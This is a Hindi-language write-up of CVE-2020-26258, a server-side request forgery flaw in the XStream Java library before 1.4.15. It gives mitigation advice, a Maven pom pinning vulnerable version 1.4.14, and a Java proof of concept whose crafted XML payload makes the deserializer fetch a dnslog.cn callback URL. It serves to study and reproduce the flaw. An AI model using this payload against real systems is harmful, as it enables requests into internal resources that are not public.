
CVE-2020-26258 && XStream SSRF
XStream एक जावा लाइब्रेरी है जो ऑब्जेक्ट्स को XML में सीरियलाइज़ करने और वापस लाने के लिए है। XStream के संस्करण 1.4.15 से पहले, अनमार्शलिंग करते समय एक सर्वर-साइड फोर्जरी अनुरोध भेद्यता सक्रिय हो सकती है।
यह भेद्यता एक दूरस्थ हमलावर को केवल संसाधित इनपुट स्ट्रीम में हेरफेर करके आंतरिक संसाधनों से डेटा का अनुरोध करने की अनुमति दे सकती है जो सार्वजनिक रूप से उपलब्ध नहीं हैं। यदि आप सुरक्षा फ्रेमवर्क की XStream की डिफ़ॉल्ट ब्लैकलिस्ट पर निर्भर हैं, तो आपको कम से कम संस्करण 1.4.15 का उपयोग करना होगा। रिपोर्ट की गई भेद्यता Java 15 या उच्चतर चलाने पर मौजूद नहीं है। कोई भी उपयोगकर्ता प्रभावित नहीं होता है जिसने व्हाइटलिस्ट के साथ XStream के सुरक्षा फ्रेमवर्क को सेटअप करने की अनुशंसा का पालन किया है! कोई भी जो XStream की डिफ़ॉल्ट ब्लैकलिस्ट पर निर्भर है, वह भेद्यता से बचने के लिए अनुमत प्रकारों के लिए तुरंत व्हाइटलिस्ट पर स्विच कर सकता है। XStream 1.4.14 या उससे नीचे के उपयोगकर्ता जो अभी भी XStream डिफ़ॉल्ट ब्लैकलिस्ट का उपयोग करना चाहते हैं, वे संदर्भित सलाहकारों में अधिक विस्तार से वर्णित एक वर्कअराउंड का उपयोग कर सकते हैं।
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>CVE-2020-26258</groupId>
<artifactId>CVE-2020-26258</artifactId>
<version>1.0-SNAPSHOT</version>
<name>CVE-2020-26258</name>
<!-- FIXME change it to the project's website -->
<url>http://www.example.com</url>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.7</maven.compiler.source>
<maven.compiler.target>1.7</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.14</version>
</dependency>
</dependencies>
<build>
<pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
<plugins>
<!-- clean lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#clean_Lifecycle -->
<plugin>
<artifactId>maven-clean-plugin</artifactId>
<version>3.1.0</version>
</plugin>
<!-- default lifecycle, jar packaging: see https://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_jar_packaging -->
<plugin>
<artifactId>maven-resources-plugin</artifactId>
<version>3.0.2</version>
</plugin>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.0</version>
</plugin>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.22.1</version>
</plugin>
<plugin>
<artifactId>maven-jar-plugin</artifactId>
<version>3.0.2</version>
</plugin>
<plugin>
<artifactId>maven-install-plugin</artifactId>
<version>2.5.2</version>
</plugin>
<plugin>
<artifactId>maven-deploy-plugin</artifactId>
<version>2.8.2</version>
</plugin>
<!-- site lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#site_Lifecycle -->
<plugin>
<artifactId>maven-site-plugin</artifactId>
<version>3.7.1</version>
</plugin>
<plugin>
<artifactId>maven-project-info-reports-plugin</artifactId>
<version>3.0.0</version>
</plugin>
</plugins>
</pluginManagement>
</build>
</project>
CVE_2020_26258.java
import com.thoughtworks.xstream.XStream;
public class CVE_2020_26258 {
public static void main(String[] args) {
String ssrf_xml = "<map>\n" +
" <entry>\n" +
" <jdk.nashorn.internal.objects.NativeString>\n" +
" <flags>0</flags>\n" +
" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
" <dataHandler>\n" +
" <dataSource class='javax.activation.URLDataSource'>\n" +
" <url>http://02l6ew.dnslog.cn/:</url>\n" +
" </dataSource>\n" +
" <transferFlavors/>\n" +
" </dataHandler>\n" +
" <dataLen>0</dataLen>\n" +
" </value>\n" +
" </jdk.nashorn.internal.objects.NativeString>\n" +
" <string>test</string>\n" +
" </entry>\n" +
"</map>";
XStream xstream = new XStream();
xstream.fromXML(ssrf_xml);
}
}
परिणाम:

Dnslog:
